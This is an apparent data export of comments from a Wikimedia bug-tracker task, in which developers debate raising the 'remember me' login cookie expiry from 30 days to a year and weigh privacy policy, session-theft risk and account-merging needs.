+Anyway, that does *not* block the preparatory changes to core and #MediaWiki-Extensions-CentralAuth.  It only blocks the actual wmf-config change.",,,1421205409,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-25,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1
+395370,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Can we get this bug resolved?  Legal says it's just fine to have long login sessions.  Editors are still getting logged out mid-session (yes, actually in between clicking ""edit"" and clicking ""save page"", as anyone with oversight privs can attest) because of the 30-day limit.  We could cut that risk significantly by extending the login session to 180 days or a whole year.  
+
+This should be a quick, easy fix.  AFAICT, you change one number from ""30"" to ""365"".  Could someone please actually do that?",,,1420482468,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-26,True,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+301910,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Matthew Flaschen from comment #39)
+> (In reply to Kunal Mehta (Legoktm) from comment #38)
+> > Right now we have a bunch of CentralAuth code running on login to try and
+> > attach accounts which we can merge since we have access to the user's raw
+> > plaintext password
+> 
+> Are you automatically merging accounts with the same username and password?
+
+Yes.",,,1413591935,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+301905,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Kunal Mehta (Legoktm) from comment #38)
+> Right now we have a bunch of CentralAuth code running on login to try and
+> attach accounts which we can merge since we have access to the user's raw
+> plaintext password
+
+Are you automatically merging accounts with the same username and password?
+
+> so I'd ask/request that this not move forward until
+> alternative solutions are figured out for those processes.
+
+Hmm, I guess if you need people logging in regularly this has to be blocked by the SUL finalization bug.",,,1412651717,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+301899,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Right now we have a bunch of CentralAuth code running on login to try and attach accounts which we can merge since we have access to the user's raw plaintext password, so I'd ask/request that this not move forward until alternative solutions are figured out for those processes.",,,1412222757,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+301893,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Martin von Gagern from comment #34)
+> Is asking for year-long concurrent sessions on multiple devices on-topic
+> here, is there a separate bug for this, should I file one or ask on Village
+> Pump?
+
+Filed as bug 67512.",,,1404433241,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+301888,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I was thinking about this from a different standpoint yesterday. 
+Right now we're logging every time a user logs in with the AccountAudit extension to help with SUL finalization. We can roughly figure out if a user is active on a monthly basis since they have to login after 30 days, updating their row in the database. If we extend login time to 1 year, we wouldn't have that level of accuracy any more.
+
+Probably merits fixing in the AccountAudit extension, but I just wanted to note it here in case anyone else is collecting statistics on when users login.",,,1404348034,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-52,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+301884,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Martin von Gagern from comment #34)
+> (In reply to Krinkle from comment #24)
+> > Hm.. also relevant is that we invalidate existing sessions when a new
+> > session starts for a user. So in case of theft or hijacking in a way where
+> > the user logs in again on a different browser / account / computer, the old
+> > session will be immediately invalidated.
+> 
+> Is asking for year-long concurrent sessions on multiple devices on-topic
+> here,
+
+No.
+
+> is there a separate bug for this,
+
+No, I don't believe so.
+
+> should I file one
+
+Please do.
+
+> or ask on Village Pump?
+
+Please don't ask on the Village Pump intricate technical requests, as they're normally lost. However, feel free to mention on-wiki about the bug.",,,1404146346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-53,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+301877,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**Martin.vGagern** wrote:
+
+(In reply to Krinkle from comment #24)
+> Hm.. also relevant is that we invalidate existing sessions when a new
+> session starts for a user. So in case of theft or hijacking in a way where
+> the user logs in again on a different browser / account / computer, the old
+> session will be immediately invalidated.
+
+Is asking for year-long concurrent sessions on multiple devices on-topic here, is there a separate bug for this, should I file one or ask on Village Pump?",,,1404111220,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-53,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+301871,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Jared Zimmerman (WMF) from comment #27)
+> Most modern sites have dispensed with this type of control all together
+
+I would be surprised if this is true of most major sites that are currently actively used.  Google (""Stay signed in""), Twitter (""Remember me""), Facebook (""Keep me logged in""), Yahoo (""Keep me signed in""), and Pandora (""Remember me"") all have it.
+
+I don't claim they all have the same behavior, but they all have a control on the login screen.",,,1403826027,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-53,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,1,1
+301864,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141394 had a related patch set uploaded by Phuedx:
+Use $wgLoginCookieExpiration when setting login cookies
+
+https://gerrit.wikimedia.org/r/141394",,,1403522037,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+301858,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141248 had a related patch set uploaded by Phuedx:
+Configure logged in session length independantly
+
+https://gerrit.wikimedia.org/r/141248",,,1403360570,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+301852,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to Bawolff (Brian Wolff) from comment #29)
+> I strongly suggest this be discussed on meta before being implemented.
+> Especially given the less than positive response last time around.
+
+What response are you talking about? I haven't been aware of any recent previous discussion about this that was overly negative. 
+
+For the record, any previous proposal to extend any cookie retention beyond 30 days should have been rejected or undone per the Wikimedia privacy policy, which expressly forbid such a thing. I think there might have been a period where it was 180 days, but that was undone IIRC.
+
+Getting rid of this hard requirement for Wikimedia sites is part of why we revised our privacy policy. You can see this reflected in comments during that lengthy discussion period.[1][2] Outside of the privacy policy discussion, I've repeatedly heard people asking for an option to be logged in longer than 30 days.[3][4][5]
+
+1. ""the expected improvements users should like this policy for (this is the only one mentioned so far apart from longer login duration, if I remember correctly)."" https://meta.wikimedia.org/wiki/Talk:Privacy_policy/Archives/2014
+2. ""I'd rather be able to stay logged in forever"" https://meta.wikimedia.org/wiki/Talk:Privacy_policy/Archives/2013#What_about_login_cookie_duration.3F
+3. https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_110#Only_30_days_per_login_AGAIN.3F
+4. https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_40#30_day_login_limit
+5. https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_47#Logging_out_after_30_days_feature",,,1403124772,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+301846,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",I strongly suggest this be discussed on meta before being implemented. Especially given the less than positive response last time around.,,,1403123836,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+301837,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to Jared Zimmerman (WMF) from comment #27)
+> Most modern sites have dispensed with this type of control all together,
+> financial sites do the opposite and force log you out after 10-30 mins
+> usually. 
+> 
+> If the use case were trying to solve for us the small set of more security
+> conscious users we can mostly assume they'll log out after each session.
+> What if we invert this option and in preferences:profile we have an
+> initially unchecked option of ""Automativally log me out after 40 days of
+> inactivity"" or whatever timespan these users prefer. Then the site behaves
+> normally and smoothly for users who dont want to have to frequently reinter
+> logging credentials?
+
+It's a good idea, but let's consider such an option as a separate bug/design idea iterating on this. Without redesigning the system completely, we can immediately take a very simple step to increase retention of registered users.",,,1403123675,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+301828,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Most modern sites have dispensed with this type of control all together, financial sites do the opposite and force log you out after 10-30 mins usually. 
+
+If the use case were trying to solve for us the small set of more security conscious users we can mostly assume they'll log out after each session. What if we invert this option and in preferences:profile we have an initially unchecked option of ""Automativally log me out after 40 days of inactivity"" or whatever timespan these users prefer. Then the site behaves normally and smoothly for users who dont want to have to frequently reinter logging credentials?",,,1403123175,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,0
+301824,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to Matthew Flaschen from comment #25)
+> (In reply to Steven Walling from comment #23)
+> > Yes. When you breakdown total active editors every month, there is a very
+> > large group of editors who return after more than a 30-day break. This type
+> > of reactivated editor is just as large as the group of people who edit
+> > month-to-month continuously.[1][2]
+> 
+> This shows that there are a significant number of people editing with more
+> than 30 day gaps.
+> 
+> However, I would bet a lot of them *visited* I Wikimedia site with < 30 day
+> gaps (e.g. to read an article, maybe from a search).  Under this proposal,
+> that would still extend their session.
+
+The truth is we don't know because we never track read-only sessions month to month. The safe bet here, if we want to ensure that *people who opt in* stay logged in, is to lengthen the cookie expiry beyond 30 days. Keep in mind that the change would only impact people who explicitly choose to be remembered. If we were discussing a default login session length, I would probably agree that we should err on the side of being more conservative.",,,1403058859,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,1,0,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+301819,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Steven Walling from comment #23)
+> Yes. When you breakdown total active editors every month, there is a very
+> large group of editors who return after more than a 30-day break. This type
+> of reactivated editor is just as large as the group of people who edit
+> month-to-month continuously.[1][2]
+
+This shows that there are a significant number of people editing with more than 30 day gaps.
+
+However, I would bet a lot of them *visited* I Wikimedia site with < 30 day gaps (e.g. to read an article, maybe from a search).  Under this proposal, that would still extend their session.",,,1403056964,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+301815,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Hm.. also relevant is that we invalidate existing sessions when a new session starts for a user. So in case of theft or hijacking in a way where the user logs in again on a different browser / account / computer, the old session will be immediately invalidated.
+
+Though only if the user logs in with ""Remember me"", a short session login maintains validity of the existing Remember-me session on the server.",,,1403054606,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+301810,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to Chris Steipp from comment #21)
+> (In reply to Steven Walling from comment #20)
+> > This automatic extension doesn't sound like it adequately serves the type of
+> > infrequent editor who takes breaks in between site visits/editing sessions.
+> > You still get the effect of ""I haven't visited for 30 days, and now I'm
+> > logged out"", correct?
+> 
+> Correct. Do think we have a significant number of these types?
+
+Yes. When you breakdown total active editors every month, there is a very large group of editors who return after more than a 30-day break. This type of reactivated editor is just as large as the group of people who edit month-to-month continuously.[1][2]
+
+1. [[commons:File:Monthly active editors.by group.enwiki.svg]]
+2. [[commons:File:Monthly active editors.facet group.enwiki.svg]]",,,1403053607,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+301806,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Matthew Flaschen from comment #16)
+> I don't believe so:
+> 
+> git grep -F -- '->setCookies'
+> 
+> Only specific login pages (Special:UserLogin and API login) and
+> Special:ChangePassword seem to call that.  I don't think there's anything
+> that extends the expiration time when you're just browsing around.
+
+I didn't investigate CentralAuth, though.  So it's possible that does extend your session through normal browsing (either deliberately or as a side effect).",,,1403053549,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0,1,0,0,1,1,0,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+301802,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Steven Walling from comment #20)
+> This automatic extension doesn't sound like it adequately serves the type of
+> infrequent editor who takes breaks in between site visits/editing sessions.
+> You still get the effect of ""I haven't visited for 30 days, and now I'm
+> logged out"", correct?
+
+Correct. Do think we have a significant number of these types?",,,1403052634,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+301797,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to Chris Steipp from comment #19)
+> 
+> But doing an automatic extension once a day seems like a much better
+> solution, and as you point out, not that difficult.
+
+This automatic extension doesn't sound like it adequately serves the type of infrequent editor who takes breaks in between site visits/editing sessions. You still get the effect of ""I haven't visited for 30 days, and now I'm logged out"", correct?",,,1403051678,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+301792,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Krinkle from comment #17)
+> Right, we only set the cookie at log in time and it expires after 30 days
+> regardless of whether the user actively uses their account (at which point
+> they'd randomly find themselves logged-out after 30 days, not in a middle of
+> a browser session due to the session cookie, but the next time they re-open
+> the browser).
+> 
+> I believed we had this already (I don't recall having to authenticate
+> anywhere in the last few months for Wikimedia wikis, so either something
+> else is extending it or I just forgot I had to do it once).
+> 
+> Same for Google, Facebook, etc., for those I'm quite certain it is being
+> extended automatically.
+
+There was something on some private wikis that is based on activity, although so far I haven't been able to find out who set it up or how.
+
+But doing an automatic extension once a day seems like a much better solution, and as you point out, not that difficult.",,,1403051483,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+301787,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Krinkle from comment #17)
+> This [proposal] covers the use case proposed in this bug:
+> 
+>  New users will not have to log in again after 30 days
+>  (especially if they forgot their password and didn't
+>  provide an e-mail address)
+> 
+> Whilst having two additional advantages:
+> 
+> * We don't accept dormant sessions over a year old to be used to
+> authenticate the user.
+> * We do distinguish between used and unused sessions.
+> * We provide even more convenience to users (""never"" have to log in again,
+> not even once a year).
+>
+
+And, important for the legal/privacy angle:
+
+* We keep our cooky expiration dates under 31 days. We will not set cookies for a year.",,,1403047375,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+301782,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Right, we only set the cookie at log in time and it expires after 30 days regardless of whether the user actively uses their account (at which point they'd randomly find themselves logged-out after 30 days, not in a middle of a browser session due to the session cookie, but the next time they re-open the browser).
+
+I believed we had this already (I don't recall having to authenticate anywhere in the last few months for Wikimedia wikis, so either something else is extending it or I just forgot I had to do it once).
+
+Same for Google, Facebook, etc., for those I'm quite certain it is being extended automatically.
+
+Sending the session cookies back to the browser on every request is not that expensive, but I can imagine that not being very attractive. Ideally we'd programmatically find out when the login session expires, and refresh it one a day or so. Unfortunately, the expiration property of a cookie can only be set, not read.
+
+The solution I used to use for my Toolserver is to store the expiration date given to the browser for the session id on on the server in the actual session data. Then whenever a request comes in and the cookie is more than e.g. 24h old, refresh it once.
+
+This covers the use case proposed in this bug:
+
+ New users will not have to log in again after 30 days
+ (especially if they forgot their password and didn't
+ provide an e-mail address)
+
+Whilst having two additional advantages:
+
+* We don't accept dormant sessions over a year old to be used to authenticate the user.
+* We do distinguish between used and unused sessions.
+* We provide even more convenience to users (never[1] have to log in again, not even once a year).
+
+
+[1] never, that is, as much as we can help it. We may invalidate sessions for security reasons or when performing data centre maintenance. And browsers may garbage collect cookies at some point.",,,1403047220,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+301775,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Krinkle from comment #15)
+> Allowing existing sessions to be picked up again after more than a month of
+> not using the site doesn't seem very valuable. If anything it sounds a
+> little dodgy from a security perspective (e.g. stolen sessions, or computer
+> theft).
+
+There's also a benefit if the user (think of new users especially) forgets their password, especially since we don't require an email.
+
+It's common for there to be a tension between security and convenience.
+
+> I'm not opposing it entirely on any of those grounds, just want to verify
+> here:
+> 
+> 1) Is it true that sessions are automatically extended with each visit and
+> that therefore, with 30 days expiration, the session will last forever if
+> you visit once every 30 days?
+
+I don't believe so:
+
+git grep -F -- '->setCookies'
+
+Only specific login pages (Special:UserLogin and API login) and Special:ChangePassword seem to call that.  I don't think there's anything that extends the expiration time when you're just browsing around.
+
+> 2) Is the only use case that would justify this change so that users who
+> aren't very active don't have to log in again if they've been inactive for
+> over a month?
+
+I think it's just 30 days from login, regardless of what you do in between.",,,1403046371,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+301770,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I'm not entirely sure, but the login cookie expiration is only relevant in relation to how long a user is *not* active, not how long or how often they *are* active.
+
+Meaning, if you visit the site at least once or twice a month, your session will never expire because it's extended with every visit.
+
+Allowing existing sessions to be picked up again after more than a month of not using the site doesn't seem very valuable. If anything it sounds a little dodgy from a security perspective (e.g. stolen sessions, or computer theft).
+
+I'm not opposing it entirely on any of those grounds, just want to verify here:
+
+1) Is it true that sessions are automatically extended with each visit and that therefore, with 30 days expiration, the session will last forever if you visit once every 30 days?
+
